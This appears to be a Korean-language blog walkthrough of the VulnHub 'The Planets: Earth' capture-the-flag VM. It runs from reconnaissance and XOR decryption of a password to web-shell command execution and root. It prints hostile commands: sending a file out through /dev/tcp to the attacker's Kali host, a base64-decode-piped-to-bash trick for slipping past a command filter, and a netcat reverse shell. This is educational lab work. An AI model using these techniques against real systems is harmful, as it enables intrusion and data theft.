VM ova 및 파일,문제 출처 : https://www.vulnhub.com/entry/the-planets-earth,755/
진행 환경 : VirtualBox 사용.
Kali linux : https://www.kali.org/get-kali/#kali-platforms
The Planets: Earth
This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.
www.vulnhub.com
Kali linux 의 tool 들을 이용하여 VM Earth 의 root 권한을 얻어오는 작업을 진행하겠다.
위 사이트에 들어가면 구축이 완료된 ova 파일을 받을 수 있다. 해당 파일을 받아서 각자 PC에 설치된 VM에 가져오기를 하면 된다.
원할한 진행을 위하여 네트워크 설정만 어댑터에 브릿지 로 변경하여준다. (defualt로는 NAT로 설정되어있음)
우리는 earth 계정에 대한 정보를 아무 것도 알 수가 없기에 이 화면에서 가만히 두고 이제 kali 로 넘어간다.
첫번째로 해야할 부분은 정보 수집이다.
earth 에 대한 ip 주소, 맥주소 (이 부분은 어댑터 변경을 할 때 확인이 가능하긴 함.) , 서비스하고있는 포트에 대해 알수있는 netdiscover, nmap 을 사용해준다 (kail tool)
netdiscover 에서 옵션으로 -r IP대역대를 줌으로써 해당 IP 대역대에서 통신이 되고있는 네트워크 어댑터의 맥주소와 아이피주소를 얻을 수 있다.
host PC와 Gateway 등을 소거법으로 제외하고, 남은 것들 중 맥주소가 08:00 으로 시작하며 MAC vendor 가 PCS 인 것이 earth vm 인걸 확인할 수 있다.
해당 vm의 ip 을 알아냈으니 nmap 을 통해 earth VM 에서 사용하고있는 서비스들과, 버전, 열려있는 포트정보들을 확인할 수 있다.
위 사진을 보면 22/tcp 포트에서 ssh 를 사용하고있고, 80/tcp 에서 Apache http 서비스를 , 443번 포트가 열려있다는 걸로 https 서비스도 하고있다는 것을 확인할 수 있다.(OpenSSL을 통해서도 확인 가능.)
-A 옵션을 줘서 한번 더 scanning 을 진행해보면 DNS 정보도 획득할 수 있다.
/etc/hosts 파일에 확인한 정보를 등록하여준다.
/etc/hosts 관련 참조링크
https://storycompiler.tistory.com/118
[Ubuntu/Linux] /etc/hosts의 모든 것
브라우저에 도메인 이름을 치면, 네임서버를 거쳐 도메인 이름은 IP 주소로 변환이 됩니다. 그렇다면 브라우저에 "localhost"를 치면,"localhost"도 네임서버를 통해 IP 주소로 변환되는 것일까요? 레드
storycompiler.tistory.com
알아낸 정보로 우리가 접속해볼 곳은 총 4곳이다.
http://earth.local https://earth.local http://terratest.earth.local https://terratest.earth.local
추가적으로 얻을 수 있는 정보가 있는 지 하나하나 접속해본다.
다른 주소로도 접속해보자.
추가적으로 얻은 정보는 https://earth.local 에서 암호화된 정보 3가지를 얻을 수 있다.
아직 정보가 부족하니 해당 주소에 대해서 숨겨진 디렉토리가 있는지 확인을 해보자. 해당 정보를 알기위해선
kali tool 중에 gobuster 와 dirb 가 있는데 이 중에서 우리는 dirb 명령을 이용하여 확인해보자.
4개의 주소를 모두 dirb를 통하여 확인해보는게 좋다.
숨겨져있는 정보를 또 구할 수 있었다! 너무 신나니까 terratest.earth.local 에 대한 숨겨진 디렉토리도 확인해보자.
웹 사이트를 구축하거나 웹 호스팅을 했을 때 디렉토리에 외부 접속(?)을 allow , disallow 하는 정보가 담겨져있는(정확히는 모르지만 이런 느낌.. 정확한 정보는 다른 곳에서....) robots.txt 을 발견할 수 있었다.
일단은 robots.txt에 먼저 접속을 해보자
여러 내용들이 disallow 되어있는 모습. 그 중 맨 밑에 testignotes.* 은 확장자만 바꾸면 접속가능해보인다.
당장 접속해보자.우선은 txt 를 주고 한번 접속해본다.
중요한 힌트를 얻을 수 있었다.
첫번째로 암호화 알고리즘엔 XOR 방식이 사용되었다는 것.
두번째로 testdata.txt 에 내용들이 암호화에 사용되었다는 것을 알 수 있다.
세번째로 username 이 terra 라는 것도 알 수 있다. 정말 중요한 정보들을 얻을 수 있었다. 당장 testdata.txt 로 가보자.
파파고에 돌려보니 지구에 대한 여러 정보들에 대해 알 수 있다... 유익한 정보!
일단은 해당 내용이 암호화에 사용되었다는 것을 보니 아까 earth.local 에서 메세지 키에 사용되었을 것 같다! 라는 의심을 하면서 earth.local 에 메세지들을 복화화 툴을 이용하여 XOR decryption 을 시도하자.
여러 암호화, 복호화 툴들이 존재하는데 가장 괜찮다고 생각하는 cyber chef 를 이용하도록 한다.
https://gchq.github.io/CyberChef/
CyberChef
gchq.github.io
From HEX( To 는 암호화 From 은 복호화) 와 XOR 방식을 추가해주고 3가지 암호화된 내용들을 하나 하나 풀어보자.
XOR의 Key 부분에 testdata 에서 얻었던 내용을 붙여넣어주고 진행해보니 암호화된 내용 중 3번째에서 유의미한 정보를 얻을 수 있었다.
이 내용이 terra 유저에 대한 암호인지 확인해본다. 아까 dirb에서 확인한 earth.local/admin 에 한번 접속해보자.
terra 와 earthclimatechangebad4humans 를 이용하여 로그인이 되는지 확인해보자.
CLI command 를 사용할 수 있는 웹 화면이 나온다.
정상적으로 작동하는지 한번 확인해보자. 만약 정상 작동한다면 로그인된 계정의 권한도 한번 확인해보자.
cd /home 과 ls 명령어를 통해서 해당 CLI 에 접속된 사용자가 earth 임을 확인할 수 있다.
web 디렉토리에 또 힌트가 있나 확인해보자.
이제 root 계정 권한을 획득하기 위해서 권한 획득이 가능한 파일이나 서비스가 있는지 확인해보자
확인을 할 수 있는 명령어는 두 가지가 있다.
1. sudo -l : sudo 명령어를 통하여 관리자 권한을 얻을 수 있는 파일이나 서비스 목록 불러오기.
2. find / -perm -u=s -type f 2>/dev/null : setuid 를 통하여 관리자 권한을 얻을 수 있는 목록 불러오기.
1번 명령어는 우리가 earth 에 대한 암호를 알고 있어야함으로 2번 명령어를 입력해보자
우리는 reset_root 라는 의미심장한 파일을 찾을 수 있었다. 한번 실행해보자.
/usr/bin/reset_root 를 통하여 실행할 수 있다.
일단은 실행에 실패했다.. 해당 사유에 대해 정확히 알 수 없음으로 reset_root 파일을 우리 kali 환경에 가져와서 자세히 알아보기위해서 netcat 을 이용해 가져와보도록 하자.
CLI 에서 cat /usr/bin/reset_root 로 해당 파일을 읽어오고 > /dev/tcp/칼리IP/4444 를 적어준다 . device tcp 를 통하여 직접 칼리 4444 포트에 읽어들인 파일 내용을 덮어씌운다는 ... 대략적으로 그런 느낌의 명령어이다.
kali 에서는 nc -lvnp 4444 > reset_root 를 이용하여 4444 포트로 전송된 내용을 reset_root 파일에 덮어씌우겠다는 느낌!
입력하게되면 원격 접속이 거부된 것을 알 수 있다...그래서 우리는 해당 명령어를 칼리에서 base64로 암호화하고,
CLI에서 echo "암호화된 내용" | base -d | bash 로 복호화 하는 방식을 통해 우회해서 명령을 내려보자.
칼리에서 암호화 진행. 해당 내용 복사해서 CLI 화면에서 아래의 명령어를 입력한다.
echo "암호화된 내용" | base64 -d | bash
정상적으로 연결되고 파일을 받아온 것을 확인할 수 있다.
칼리에서 reset_root 를 실행해보자.
여전히 작동하지않아서 ltrace (프로그램 디버깅, 추적) 명령어를 이용해서 디버깅을 해보니 3개의 경로에
접근이 불가능해서 실행이 안되는 것을 알 수 있다. 그렇다면 만들어주자.
다시 CLI 로 돌아와서 touch를 통해서 해당 파일을 만들어준다. (실험해보니 mkdir 로 폴더를 만들어도 가능했다.)
다 만들고나서 다시 reset_root 를 실행해주면 !! root 패스워드가 Earth 로 초기화된 것을 확인할 수 있다.
이제 nc를 통해서 원격 접속을 하고 su root 를 통하여 계정전환을 시도해보자.
칼리에서 nc -lvnp 4444로 포트를 열어준다.
아까와 같은 방법으로 base64 를 통해 우회해서 접속해보자
이제 CLI 에서 echo "암호화 내용" |base64 -d|bash 를 통해 접속한다.
root 접속 성공! root의 홈 디렉토리로 이동해서 root_flag를 찾아보자.
끝!! user_flag 와 root_flag 모두 찾는 것에 성공했다!
PS 배운지 얼마안된 상황에서 혼자 몇 번 해본게 다라서.. 설명하면서 적으려니 지식도 적어서 힘드네요..
vulnhub 의 자료들에 대해서 풀이를 적어놓은 한국 사이트가 별로 없어서 다음 연습하시는 분들에게 도움이 되었으면 해서 작성해봅니다... 밑에 참고할만한 사이트 하나 남겨놓을께요.
참조 :
https://medium.com/@wiktorderda/vulnhub-the-planets-earth-ctf-4d4acfeb1428
VulnHub — The Planets: Earth CTF
Hello, today we are trying to get the flags from the second machine from The Planets series: Earth!
medium.com
'모의해킹 텃밭 > vulnhub' 카테고리의 다른 글
vulnhub matrix-breakout-2-morpheus (matrix-breakout-2-morpheus 풀이) (1) | 2024.06.04 |
---|---|
vulnhub Jangow: 1.0.1 walkthrough (Jangow: 1.0.1 풀이) (2) | 2024.06.02 |
vulnhub Hacker kid: 1.0.1 walkthrough (Hacker kid: 1.0.1 풀이) (0) | 2024.05.31 |